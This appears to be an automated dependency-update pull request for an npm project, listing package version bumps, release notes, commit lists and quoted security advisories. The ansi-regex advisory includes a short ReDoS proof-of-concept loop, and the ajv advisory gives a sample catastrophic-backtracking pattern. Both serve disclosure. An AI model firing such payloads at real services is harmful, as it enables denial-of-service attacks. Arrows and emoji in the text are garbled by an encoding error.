chore(release): publish 8.57.0chore(website): enable `fixedOverflowWidgets` in editor settings (#12115)docs(eslint-plugin): document no-unnecessary-condition limitation with object types (#12111)chore: use pnpm catalog (#12047)chore(deps): update dependency @eslint-community/eslint-plugin-eslint-comments to v4.7.0 (#12113)fix(eslint-plugin): [no-base-to-string] fix false positive for toString with overloads (#12089)test: correct snapshotfix(eslint-plugin): [prefer-promise-reject-errors] add allow `TypeOrValueSpecifier` to prefer-promise-reject-errors (#12094)fix(typescript-estree): if the template literal is tagged and the text has an invalid escape, `cooked` will be `null` (#11355)chore: shard eslint-plugin tests (#12082)docs: minor grammar adjustment (#12112)fix(eslint-plugin): guard against negative paramIndex in no-useless-default-assignment (#12077)fix(eslint-plugin): handle statically analyzable computed keys in prefer-readonly (#12079)chore(deps): update dependency typedoc-plugin-markdown to v4.10.0 (#12060)chore(deps): update dependency eslint-plugin-perfectionist to v5.6.0 (#12054)fix(eslint-plugin): [strict-void-return] false positives with overloads (#12055)fix(typescript-estree): switch back to use `ts.getModifiers()` (#12034)chore(deps): update dependency @microsoft/api-extractor to v7.57.6 (#12087)docs: use `defineConfig` in "How to use" (#12108)feat(eslint-plugin): [no-unnecessary-condition] allow literal loop conditions in for/do loops (#12080)chore: update vitest to 4.x (#12071)
โ๏ธ acorn (indirect, 7.4.1 โ 8.16.0) ยท Repo
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ ajv (indirect, 6.12.6 โ 6.14.0) ยท Repo
Security Advisories ๐จ
๐จ ajv has ReDoS when using `$data` option
ajv (Another JSON Schema Validator) through version 8.17.1 is vulnerable to Regular Expression Denial of Service (ReDoS) when the
$dataoption is enabled. The pattern keyword accepts runtime data via JSON Pointer syntax ($datareference), which is passed directly to the JavaScriptRegExp()constructor without validation. An attacker can inject a malicious regex pattern (e.g.,\"^(a|a)*$\") combined with crafted input to cause catastrophic backtracking. A 31-character payload causes approximately 44 seconds of CPU blocking, with each additional character doubling execution time. This enables complete denial of service with a single HTTP request against any API using ajv with$data: true for dynamic schema validation.
Commits
See the full diff on Github. The new version differs by 7 commits:
โ๏ธ ansi-escapes (indirect, 4.3.2 โ 7.3.0) ยท Repo
Release Notes
7.3.0
- Add synchronized output escapes 9b1e276
7.2.0
7.1.1
7.1.0
- Add
clearViewportas safer alternative toclearScreenfbd49be- Add ConEmu support and common
setCwdmethod f4924fb
7.0.0
Breaking
- Require Node.js 18 2c603eb
Improvements
6.2.1
- Fix compatibility with TypeScript 5.4 3b1f99e
6.2.0
6.1.0
6.0.0
Breaking
- Require Node.js 14 96312e0
Improvements
- Update dependencies 96312e0
5.0.0
Breaking
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 28 commits:
7.3.0Add synchronized output escapes7.2.0Enable ANSI escape sequences on modern WindowsAdd tmux support for OSC sequences7.1.1TweaksImprove compatibility for `image()` (#39)7.1.0Add `clearViewport` as safer alternative to `clearScreen`Add ConEmu support and common `setCwd` methodFix CI7.0.0Require Node.js 18Provide named exports (#37)6.2.1Fix compatibility with TypeScript 5.4Meta tweaksUpdate link to VT100 escape sequences site in the readme (#36)6.2.0Add escapes for entering/exiting the alternative screen (#33)6.1.0Support browser usage (#31)6.0.0Require Node.js 14 and update dependenciesUpdate `cursorTo` to use `SEP` constant (#28)5.0.0Require Node.js 12 and move to ESM
โ๏ธ ansi-regex (indirect, 5.0.0 โ 6.2.2) ยท Repo
Security Advisories ๐จ
๐จ Inefficient Regular Expression Complexity in chalk/ansi-regex
ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes.
Proof of Concept
import ansiRegex from 'ansi-regex'; for(var i = 1; i <= 50000; i++) { var time = Date.now(); var attack_str = "\u001B["+";".repeat(i*10000); ansiRegex().test(attack_str) var time_cost = Date.now() - time; console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms") }The ReDOS is mainly due to the sub-patterns
[[\\]()#;?]*and(?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*
๐จ Inefficient Regular Expression Complexity in chalk/ansi-regex
ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes.
Proof of Concept
import ansiRegex from 'ansi-regex'; for(var i = 1; i <= 50000; i++) { var time = Date.now(); var attack_str = "\u001B["+";".repeat(i*10000); ansiRegex().test(attack_str) var time_cost = Date.now() - time; console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms") }The ReDOS is mainly due to the sub-patterns
[[\\]()#;?]*and(?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*
Release Notes
6.2.2
- Fix vulnerability in 6.2.1, see: chalk/chalk#656
6.2.0
6.1.0
6.0.1
Fixes
- Fix ReDoS in certain cases (#37)
You are only really affected if you run the regex on untrusted user input in a server context, which it's very unlikely anyone is doing, since this regex is mainly used in command-line tools.Thank you @yetingli for the patch and reproduction case!
6.0.0
Breaking
5.0.1
Fixes (backport of
6.0.1to v5)This is a backport of the minor ReDos vulnerability in
ansi-regex@<6.0.1, as requested in #38.
- Fix ReDoS in certain cases (#37)
You are only really affected if you run the regex on untrusted user input in a server context, which it's very unlikely anyone is doing, since this regex is mainly used in command-line tools.https://github.com/chalk/ansi-regex/compare/v5.0.0..v5.0.1
Thank you @yetingli for the patch and reproduction case!
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 17 commits:
6.2.26.2.0Add test for #57Simplify regexSupport colon separated parameters to control sequences (#62)Readme update6.1.0Fix: Handle all valid ST characters (#58)Meta tweaksMatch cursorSave and cursorRestore escape codes (#45)fix incorrect format6.0.1Fix potential ReDoS (#37)6.0.0Require Node.js 12 and move to ESMMove to GitHub Actions (#35)Add @Qix- to funding.yml
โ๏ธ argparse (indirect, 1.0.10 โ 2.0.1) ยท Repo ยท Changelog
Release Notes
2.0.1 (from changelog)
Fixed
- Fix issue with
process.argvwhen used with interpreters (coffee,ts-node, etc.), #150.
2.0.0 (from changelog)
Changed
- Full rewrite. Now port from python 3.9.0 & more precise following. See doc for difference and migration info.
- node.js 10+ required
- Removed most of local docs in favour of original ones.
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 15 commits:
2.0.1 releasedAlways assume process.argv[0] is interpreterAdd more migration docs2.0.0 releasedImplement argparse.js version 2.0Add 2.0 configs & docsDrop old sources (2.0 is full rewrite)Merge pull request #145 from lpinca/document/version-optionAdd documentation for the version optionreadme: update titelift infochangelog format updateAdd Tidelift link & fix headers formattingCreate FUNDING.ymlMerge pull request #129 from marcin-mazurek/patch-1Fix require statements in README examples
โ๏ธ array-includes (indirect, 3.1.3 โ 3.1.9) ยท Repo ยท Changelog
Release Notes
3.1.9 (from changelog)
Commits
- [Deps] update
call-bind,es-abstract,es-object-atoms,get-intrinsic,is-string3b934ae- [Refactor] use
call-boundandmath-intrinsicsdirectly160ea60- [Dev Deps] update
@es-shims/api,@ljharb/eslint-config,auto-changelog,hastrict-mode,tape4e4c67d- [Tests] replace
audwithnpm audit9c5ec1c- [Dev Deps] add missing peer dep
863d207
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 40 commits:
v3.1.9[Refactor] use `call-bound` and `math-intrinsics` directly[Deps] update `call-bind`, `es-abstract`, `es-object-atoms`, `get-intrinsic`, `is-string`[Dev Deps] add missing peer dep[Dev Deps] update `@es-shims/api`, `@ljharb/eslint-config`, `auto-changelog`, `hastrict-mode`, `tape`[Tests] replace `aud` with `npm audit`v3.1.8[Deps] update `call-bind`, `define-properties`, `es-abstract`, `get-intrinsic`[Refactor] use `es-object-atoms` where possible[Dev Deps] update `aud`, `npmignore`, `tape`[Tests] use `call-bind` instead of `function-bind`[actions] remove redundant finisherv3.1.7[Deps] update `define-properties`, `es-abstract`, `get-intrinsic`[Dev Deps] update `@es-shims/api`, `@ljharb/eslint-config`, `aud`, `tape`v3.1.6[meta] add `auto-changelog`[Deps] update `es-abstract`, `get-intrinsic`[meta] use `npmignore` to autogenerate an npmignore file[Dev Deps] update `aud`, `tape`[actions] update rebase action to use reusable workflow[readme] note that FF 102+ no longer needs this packagev3.1.5[Fix] install polyfill on FF 99+[Deps] update `define-properties`, `es-abstract`[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `aud`, `functions-have-names`, `tape`[actions] reuse common workflows[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `@es-shims/api`, `safe-publish-latest`, `tape`[actions] update codecov uploaderv3.1.4[readme] add github actions/codecov badges[Robustness] avoid a runtime `Math.max` call[Deps] update `es-abstract`, `is-string`[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `@es-shims/api`, `aud`, `tape`[actions] update workflows[readme] fix repo URLs; remove travis badge[Deps] update `es-abstract`[Dev Deps] update `eslint`, `tape`[actions] use `node/install` instead of `node/run`; use `codecov` action[meta] use `prepublishOnly` script for npm 7+
โ๏ธ array.prototype.flat (indirect, 1.2.4 โ 1.3.3) ยท Repo ยท Changelog
Release Notes
1.3.3 (from changelog)
Commits
- [actions] split out node 10-20, and 20+
1afcd57- [Deps] update
call-bind,define-properties,es-abstract,es-shim-unscopables152c437- [Dev Deps] update
@es-shims/api,@ljharb/eslint-config,auto-changelog,function-bindnpmignore,object-inspect,tapee39e33d- [Tests] replace
audwithnpm audit6868723- [Dev Deps] add missing peer dep
800f3e3
1.3.2 (from changelog)
Commits
1.3.1 (from changelog)
Commits
1.3.0 (from changelog)
- [New]
shim/auto: addflattoSymbol.unscopables- [Deps] update
es-abstract- [actions] reuse common workflows
- [actions] update codecov uploader
- [Dev Deps] update
eslint,@ljharb/eslint-config,@es-shims/api,aud,auto-changelog,object-inspect,safe-publish-latest,tape
1.2.5 (from changelog)
- [readme] add github actions/codecov badges; remove travis badge
- [Deps] update
call-bind,es-abstract- [Dev Deps] update
eslint,@ljharb/eslint-config,@es-shims/api,aud,has-strict-mode,object-inspect,tape- [meta] use
prepublishOnly, for npm 7+- [actions] use
node/installinstead ofnode/run; usecodecovaction- [actions] update workflows
- [Tests] increase coverage
- [meta] fix changelog for v1.2.4
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 37 commits:
v1.3.3[Deps] update `call-bind`, `define-properties`, `es-abstract`, `es-shim-unscopables`[Dev Deps] add missing peer dep[Dev Deps] update `@es-shims/api`, `@ljharb/eslint-config`, `auto-changelog`, `function-bind` `npmignore`, `object-inspect`, `tape`[actions] split out node 10-20, and 20+[Tests] replace `aud` with `npm audit`v1.3.2[Deps] update `define-properties`, `es-abstract`[Dev Deps] update `@es-shims/api`, `@ljharb/eslint-config`, `aud`, `object-inspect`, `tape`v1.3.1[meta] add `auto-changelog`[Deps] update `define-properties`, `es-abstract`[meta] use `npmignore` to autogenerate an npmignore file[Dev Deps] update `aud`, `object-inspect`, `tape`[actions] update rebase action to use reusable workflowv1.3.0[New] `shim`/`auto`: add `flat` to `Symbol.unscopables`[Deps] update `es-abstract`[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `aud`, `auto-changelog`, `object-inspect`, `tape`[actions] reuse common workflows[Deps] update `es-abstract`[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `@es-shims/api`, `object-inspect`, `safe-publish-latest`, `tape`[actions] update codecov uploaderv1.2.5[readme] add github actions/codecov badges[Deps] update `es-abstract`[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `@es-shims/api`, `aur`, `object-inspect`, `tape`[Tests] increase coverage[Deps] update `es-abstract`[Dev Deps] update `eslint`, `tape`[actions] use `node/install` instead of `node/run`; use `codecov` action[meta] use `prepublishOnly`, for npm 7+[readme] remove travis badge[Deps] update `call-bind`, `es-abstract`[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `aud`, `has-strict-mode`, `object-inspect`, `tape`[actions] update workflows[meta] fix changelog for v1.2.4
โ๏ธ balanced-match (indirect, 1.0.2 โ 4.0.4) ยท Repo
Release Notes
3.0.1
3.0.0
Major change because this is an ESM now ๐ Nothing else major changed.
- pkg: add engines d59077b
- update standard, remove prettier-standard 7f569d3
- modernize 436bcdd
- add github actions ci (#48) dfbd94f
- docs: update badges 37fe34f
- Bump got and np (#47) 6bce041
- Bump word-wrap from 1.2.3 to 1.2.4 (#46) eaa266f
- Bump http-cache-semantics from 4.1.0 to 4.1.1 (#44) 4d80db3
- Bump ansi-regex (#43) ebfcd39
- Bump json5 from 1.0.1 to 1.0.2 (#42) ee6f172
- Bump normalize-url from 4.5.0 to 4.5.1 (#38) 0d22310
- Bump hosted-git-info from 2.8.8 to 2.8.9 (#39) 0063a93
- Bump path-parse from 1.0.6 to 1.0.7 (#40) fffa66b
- Bump trim-newlines from 3.0.0 to 3.0.1 (#37) 97bd4dd
- added jsdoc (#35) 7e45d61
- Update .npmignore (#34) 10eec4f
2.0.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 39 commits:
4.0.4chore: support node 18 (#61)add `SECURITY.md`Bump tar from 7.5.7 to 7.5.9 (#60)4.0.3remove unused dependency `jackspeak` (#59)4.0.2Isaacs/merge back (#57)Bump lodash from 4.17.21 to 4.17.23 (#56)Bump braces from 3.0.2 to 3.0.3 (#51)add `tea.yaml`3.0.1package.json: Switch from "main" to "exports" (#50)Create CODE_OF_CONDUCT.mdBump minimist from 1.2.5 to 1.2.8 (#49)3.0.0pkg: add enginesupdate standard, remove prettier-standardmodernizeadd github actions ci (#48)docs: update badgesBump got and np (#47)Bump word-wrap from 1.2.3 to 1.2.4 (#46)Bump http-cache-semantics from 4.1.0 to 4.1.1 (#44)Bump ansi-regex (#43)Bump json5 from 1.0.1 to 1.0.2 (#42)Bump normalize-url from 4.5.0 to 4.5.1 (#38)Bump hosted-git-info from 2.8.8 to 2.8.9 (#39)Bump path-parse from 1.0.6 to 1.0.7 (#40)Bump trim-newlines from 3.0.0 to 3.0.1 (#37)added jsdoc (#35)Update .npmignore (#34)2.0.0update package-lock.jsonRevert "Revert "travis: update node versions (#30)""Revert "Revert "add np""Revert "Revert "update matcha""Revert "Revert "add prettier-standard""Revert "Revert "add standard""
โ๏ธ brace-expansion (indirect, 1.1.11 โ 5.0.4) ยท Repo
Security Advisories ๐จ
๐จ brace-expansion Regular Expression Denial of Service vulnerability
A vulnerability was found in juliangruber brace-expansion up to 1.1.11/2.0.1/3.0.0/4.0.0. It has been rated as problematic. Affected by this issue is the function expand of the file index.js. The manipulation leads to inefficient regular expression complexity. The attack may be launched remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. Upgrading to version 1.1.12, 2.0.2, 3.0.1 and 4.0.1 is able to address this issue. The name of the patch is
a5b98a4f30d7813266b221435e1eaaf25a1b0ac5. It is recommended to upgrade the affected component.
๐จ brace-expansion Regular Expression Denial of Service vulnerability
A vulnerability was found in juliangruber brace-expansion up to 1.1.11/2.0.1/3.0.0/4.0.0. It has been rated as problematic. Affected by this issue is the function expand of the file index.js. The manipulation leads to inefficient regular expression complexity. The attack may be launched remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. Upgrading to version 1.1.12, 2.0.2, 3.0.1 and 4.0.1 is able to address this issue. The name of the patch is
a5b98a4f30d7813266b221435e1eaaf25a1b0ac5. It is recommended to upgrade the affected component.
๐จ brace-expansion Regular Expression Denial of Service vulnerability
A vulnerability was found in juliangruber brace-expansion up to 1.1.11/2.0.1/3.0.0/4.0.0. It has been rated as problematic. Affected by this issue is the function expand of the file index.js. The manipulation leads to inefficient regular expression complexity. The attack may be launched remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. Upgrading to version 1.1.12, 2.0.2, 3.0.1 and 4.0.1 is able to address this issue. The name of the patch is
a5b98a4f30d7813266b221435e1eaaf25a1b0ac5. It is recommended to upgrade the affected component.
๐จ brace-expansion Regular Expression Denial of Service vulnerability
A vulnerability was found in juliangruber brace-expansion up to 1.1.11/2.0.1/3.0.0/4.0.0. It has been rated as problematic. Affected by this issue is the function expand of the file index.js. The manipulation leads to inefficient regular expression complexity. The attack may be launched remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. Upgrading to version 1.1.12, 2.0.2, 3.0.1 and 4.0.1 is able to address this issue. The name of the patch is
a5b98a4f30d7813266b221435e1eaaf25a1b0ac5. It is recommended to upgrade the affected component.
Release Notes
4.0.1
4.0.0
As a precaution to not risk breaking anything with 278132b, this is a new semver major release
3.0.1
- pkg: publish on tag 3.x 3059c07
- fmt 8229e6f
- Fix potential ReDoS Vulnerability or Inefficient Regular Expression (#65) 15f9b3c
3.0.0
- Switch to ES Modules and balanced-match 3.0.0 (#62) c0360e8
- added jsdoc (#55) 68c0e37
- node 16 is EOL 9e781e9
- add standard 3494c4d
- use const and let (#57) dd5a4cb
- docs 6dad209
- remove
teste3dd8ae- ci: update node versions d23ede9
- docs: add @lanodan to contributors 1eb3fa4
- docs 1e7c9cd
- switch from tape to test module (#60) 2520537
- Bump minimist from 1.2.5 to 1.2.6 (#59) 61a94f1
- Bump path-parse from 1.0.6 to 1.0.7 (#51) dc741cf
- docs: add back ci badge 8ee5626
- Add github actions, remove travis. Closes #52 (#53) 5c8756a
- CI: Drop unused sudo: false Travis directive (#50) 05978a7
2.0.2
- pkg: publish on tag 2.x 14f1d91
- fmt ed7780a
- Fix potential ReDoS Vulnerability or Inefficient Regular Expression (#65) 36603d5
1.1.12
- pkg: publish on tag 1.x c460dbd
- fmt ccb8ac6
- Fix potential ReDoS Vulnerability or Inefficient Regular Expression (#65) c3c73c8
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 50 commits:
5.0.4Fix handling of brackets. Closes #87Correct incorrect brace-expansion import (#89)5.0.3chore: support node 18 (#85)Bump tar from 7.5.7 to 7.5.9 (#84)add `SECURITY.md`5.0.2Isaacs/merge back (#83)docs: security (#81)Bump lodash from 4.17.21 to 4.17.23 (#80)Fix broken repository URL in package.json (#75)Bump js-yaml from 4.1.0 to 4.1.1 (#79)4.0.1fmtFix potential ReDoS Vulnerability or Inefficient Regular Expression (#65)4.0.0fmtfeat: use string replaces instead of splits (#64)add `tea.yaml`3.0.0node 16 is EOLdocsremove `test`ci: update node versionsadd standarddocs: add @lanodan to contributorsdocsSwitch to ES Modules and balanced-match 3.0.0 (#62)switch from tape to test module (#60)Bump minimist from 1.2.5 to 1.2.6 (#59)use const and let (#57)added jsdoc (#55)Bump path-parse from 1.0.6 to 1.0.7 (#51)docs: add back ci badgeAdd github actions, remove travis. Closes #52 (#53)CI: Drop unused sudo: false Travis directive (#50)2.0.1switch to fork of matcha that works on node>12Ignore only blocks that begins with $ (#49)Adds travis jobs on ppc64le (#48)2.0.0Remove concat-map dependency (#47)Update travis to supported node.js versions (#46)Remove useless `identity` function (#44)add patreon to FUNDING.ymldocs: add SECURITYadd FUNDING.ymlMerge pull request #42 from juliangruber/greenkeeper/update-to-node-10Update to node 10 in .travis.yml
โ๏ธ braces (indirect, 3.0.2 โ 3.0.3) ยท Repo ยท Changelog
Security Advisories ๐จ
๐จ Uncontrolled resource consumption in braces
The NPM package
bracesfails to limit the number of characters it can handle, which could lead to Memory Exhaustion. Inlib/parse.js,if a malicious user sends "imbalanced braces" as input, the parsing will enter a loop, which will cause the program to start allocating heap memory without freeing it at any moment of the loop. Eventually, the JavaScript heap limit is reached, and the program will crash.
Commits
See the full diff on Github. The new version differs by 12 commits:
3.0.3update eslint. lint, fix unit tests.Snyk js braces 6838727 (#40)fix tests, skip 1 test in test/braces.expandreadme bumpMerge pull request #37 from coderaiser/fix/vulnerabilityfeature: braces: add maxSymbols (https://github.com/micromatch/braces/issues/36#issuecomment-2110820796)fix: vulnerability (https://security.snyk.io/vuln/SNYK-JS-BRACES-6838727)remove funding fileupdate keepEscaping doc (#27)Failing test cases for issue \#29 (#30)Create FUNDING.yml
โ๏ธ browserslist (indirect, 4.16.7 โ 4.28.1) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ builtin-modules (indirect, 3.2.0 โ 5.0.0) ยท Repo
Release Notes
5.0.0
Breaking
- Remove
punycodesince it's deprecatedImprovements
4.0.0
Breaking
3.3.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 9 commits:
โ๏ธ call-bind (indirect, 1.0.2 โ 1.0.8) ยท Repo ยท Changelog
Release Notes
1.0.8 (from changelog)
Commits
- [Refactor] extract out some helpers and avoid get-intrinsic usage
407fd5e- [Refactor] replace code with extracted
call-bind-apply-helpers81018fb- [Tests] use
set-function-length/env0fc311d- [actions] split out node 10-20, and 20+
77a0cad- [Dev Deps] update
@ljharb/eslint-config,auto-changelog,es-value-fixtures,gopd,object-inspect,tapea145d10- [Tests] replace
audwithnpm audit30ca3dd- [Deps] update
set-function-length57c79a3- [Dev Deps] add missing peer dep
601cfa5
1.0.7 (from changelog)
Commits
1.0.6 (from changelog)
Commits
1.0.5 (from changelog)
Commits
1.0.3 (from changelog)
Commits
- [actions] reuse common workflows
a994df6- [meta] use
npmignoreto autogenerate an npmignore fileeef3ef2- [readme] flesh out content
1845ccf- [actions] use
node/installinstead ofnode/run; usecodecovaction5b47d53- [Refactor] use
set-function-lengtha0e165c- [Dev Deps] update
@ljharb/eslint-config,aud,tape9c50103- [meta] simplify "exports"
019c6d0- [Dev Deps] update
eslint,@ljharb/eslint-config,aud,auto-changelog,safe-publish-latest,tape23bd718- [actions] update codecov uploader
62552d7- [Dev Deps] update
eslint,@ljharb/eslint-config,aud,auto-changelog,tapeec81665- [Dev Deps] update
eslint,@ljharb/eslint-config,safe-publish-latest,tape35d67fc- [Dev Deps] update
eslint,@ljharb/eslint-config,aud,tape0266d8d- [Dev Deps] update
@ljharb/eslint-config,aud,tape43a5b28- [Deps] update
define-data-property,function-bind,get-intrinsic780eb36- [Dev Deps] update
aud,tape90d50ad- [meta] use
prepublishOnlyscript for npm 7+44c5433- [Deps] update
get-intrinsic86bfbfc- [Deps] update
get-intrinsic5c53354- [actions] update checkout action
4c393a8- [Deps] update
get-intrinsic4e70bde- [Deps] update
get-intrinsic55ae803
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 43 commits:
v1.0.8[Refactor] replace code with extracted `call-bind-apply-helpers`[Tests] use `set-function-length/env`[Refactor] extract out some helpers and avoid get-intrinsic usage[Deps] update `set-function-length`[Dev Deps] add missing peer dep[Dev Deps] update `@ljharb/eslint-config`, `auto-changelog`, `es-value-fixtures`, `gopd`, `object-inspect`, `tape`[Tests] replace `aud` with `npm audit`[actions] split out node 10-20, and 20+v1.0.7[Refactor] use `es-define-property`[Deps] update `get-intrinsic`, `set-function-length`v1.0.6[Refactor] use `es-errors`, so things that only need those do not need `get-intrinsic`[meta] add missing `engines.node`[Deps] update `get-intrinsic`, `set-function-length`[Dev Deps] update `aud`, `npmignore`, `tape`v1.0.5[Deps] update `set-function-length`[Fix] throw an error on non-functions as early as possiblev1.0.4v1.0.3[Refactor] use `set-function-length`[Deps] update `define-data-property`, `function-bind`, `get-intrinsic`[Dev Deps] update `@ljharb/eslint-config`, `aud`, `tape`[Deps] update `get-intrinsic`[Dev Deps] update `@ljharb/eslint-config`, `aud`, `tape`[Deps] update `get-intrinsic`[Dev Deps] update `aud`, `tape`[actions] update checkout action[meta] use `npmignore` to autogenerate an npmignore file[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `aud`, `auto-changelog`, `tape`[Deps] update `get-intrinsic`[actions] reuse common workflows[meta] simplify "exports"[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `safe-publish-latest`, `tape`[readme] flesh out content[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `aud`, `auto-changelog`, `safe-publish-latest`, `tape`[actions] update codecov uploader[Deps] update `get-intrinsic`[Dev Deps] update `eslint`, `@ljharb/eslint-config`, `aud`, `tape`[actions] use `node/install` instead of `node/run`; use `codecov` action[meta] use `prepublishOnly` script for npm 7+
โ๏ธ caniuse-lite (indirect, 1.0.30001249 โ 1.0.30001779) ยท Repo ยท Changelog
โ๏ธ ci-info (indirect, 3.2.0 โ 4.4.0) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ confusing-browser-globals (indirect, 1.0.10 โ 1.0.11) ยท Repo ยท Changelog
Release Notes
1.0.11
1.0.11 (2017-08-09)
๐ Bug Fix
create-react-app
#2884 Improve offline heuristic for proxied environments. (@bsyk)
When a Yarn proxy is set, we will check its connectivity if we cannot reach Yarn's registry. This is often the case when DNS lookups must be made through the proxy.
#2853 Allow use of scoped packages with a pinned version. (@wileybenet)
react-dev-utils
react-dev-utils,react-scripts
react-scripts
- #2806 Fix SockJS version compatibility. (@christianbundy)
- #2738 Fix Jest
nodefile resolution. (@mostafah)
๐ Enhancement
react-scripts
#2818 Allow sourcemaps to be disabled. (@viankakrisna)
As applications grow more complex, it is possible webpack may run out of memory while generating source maps. They may now be disabled by setting
GENERATE_SOURCEMAP=false.#2913 Allow flags to be passed to node when running
react-scripts. (@koistya)#2747 Simplify webpack configuration using
Rule.oneOf. (@Furizaa)react-dev-utils,react-scripts
- #2468 Allow importing
package.json. (@iamdoron)- #2650 Make UglifyJS error friendlier. (@viankakrisna)
create-react-app
- #2785 Change error wording and list conflicting files when initializing app. (@OwenFlood)
react-dev-utilseslint-config-react-app,react-scripts
- #2735 Upgrade to
eslint@4. (@trungdq88)eslint-config-react-app
- #2701 Set
allowTaggedTemplatesto true (eslint). (@denkristoffer)
๐ Documentation
- Other
- #2728 Add Electrode to alternatives. (@animesh10)
- #2788 Update link for motion. (@viankakrisna)
- #2697 Fix env list ordering. (@alexeyraspopov)
react-dev-utils
- #2798 Update note about
webpackHotDevClientsupport. (@ForbesLindesay)react-scriptsbabel-preset-react-app
- #2732 Update link to issue blocking JSX hoisting. (@ForbesLindesay)
๐ Internal
create-react-app,eslint-config-react-app,react-dev-utils,react-error-overlay,react-scriptseslint-config-react-app
- #2718 Re-enable flowtype warning. (@oskarkook)
- Other
react-scripts
- #2873 Use template strings. (@monkindey)
Committers: 26
- 864907600cc (ccloli)
- Ade Viankakrisna Fadlil (viankakrisna)
- Alexey Raspopov (alexeyraspopov)
- Andreas Hoffmann (Furizaa)
- Animesh Dutta (animesh10)
- Ben Sykes (bsyk)
- Christian Bundy (christianbundy)
- Dan Abramov (gaearon)
- Dan Ristea (danrr)
- Danny Ho (hodanny)
- Forbes Lindesay (ForbesLindesay)
- Joe Haddad (Timer)
- Jon Crenshaw (jdcrensh)
- Kiho ยท Cham (monkindey)
- Konstantin Tarkus (koistya)
- Kristoffer (denkristoffer)
- Mostafa Hajizadeh (mostafah)
- Oskar Kรถรถk (oskarkook)
- Owen Flood (OwenFlood)
- Stรฉphane Goetz (onigoetz)
- Trygve Aaberge (trygveaa)
- Wiley Bennett (wileybenet)
- iamdoron
- themre
- zeel (zeel)
- ฤinh Quang Trung (trungdq88)
Migrating from 1.0.10 to 1.0.11
Inside any created project that has not been ejected, run:
npm install --save --save-exact react-scripts@1.0.11or
yarn add --exact react-scripts@1.0.11
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 39 commits:
PublishPrepare for 1.0.11 release (#2924)Update dev deps (#2923)Update README.mdUse env variable to disable source maps (#2818)Make formatWebpackMessages return all messages (#2834)Adjust the `checkIfOnline` check if in a corporate proxy environment (#2884)Fix the order of arguments in spawned child proc (#2913)Feature/webpack 3 4 (#2875)Allow importing package.json (#2468)Re-enable flowtype warning (#2718)Format UglifyJs error (#2650)Unstage yarn.lock pre-commit (#2700)Update README.mdUpdate README.mdAdd Electrode to alternatives (#2728)Fix parsing HTML/JSX tags to real elements (#2796)Update webpack version note (#2798)Use modern syntax feature (#2873)Allow use of scoped packages with a pinned version (#2853)Bump Webpack 3.4 (#2850)Feature/webpack3 (#2574)Add explicit "Opting Out of Caching" header (#2822)Upgrade webpack-dev-server (#2806)Update link for motion (#2788)List conflicting files when initializing app (#2785)Moved npm run build before npm test (#2725)Docs for react-router v4 basename feature (#2668)Don't prompt to install serve if already installed (#2761)Autodetect JetBrains IDEs (#2754)Use Rule.oneOf to resolve correct loader (#2747)ESLint 4 (#2735)Add "node" to Jest's moduleFileExtensions (#2738)Support PyCharm in launchEditor (#2740)Update link to issue blocking JSX hoisting (#2732)Reorder vim arguments in launchEditor so --remote works (#2723)Remove Windows note for source-map-explorer (#2719)allowTaggedTemplates to avoid warnings from SC's (#2701)Issue template: fix env list ordering (#2697)
โ๏ธ convert-source-map (indirect, 1.8.0 โ 2.0.0) ยท Repo
Commits
See the full diff on Github. The new version differs by 10 commits:
2.0.0feat(BREAKING): Replace mapFileDir argument with a function for reading the source map (#76)feat!: Support URI encoded source maps (#75)feat: Make comment RegExps non-greedy to prevent some max call stack errors (#65)chore: Drop support for node below v4 (#78)1.9.0chore: Fix CI badge imagechore: Fix CI badgefeat: Remove SafeBuffer & support base64 in the browser (#74)feat: replace Travis-CI with GitHub Actions (#77)
โ๏ธ cosmiconfig (indirect, 7.0.0 โ 9.0.1) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ cross-spawn (indirect, 7.0.3 โ 7.0.6) ยท Repo ยท Changelog
Security Advisories ๐จ
๐จ Regular Expression Denial of Service (ReDoS) in cross-spawn
Versions of the package cross-spawn before 7.0.5 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.
Release Notes
7.0.6 (from changelog)
Bug Fixes
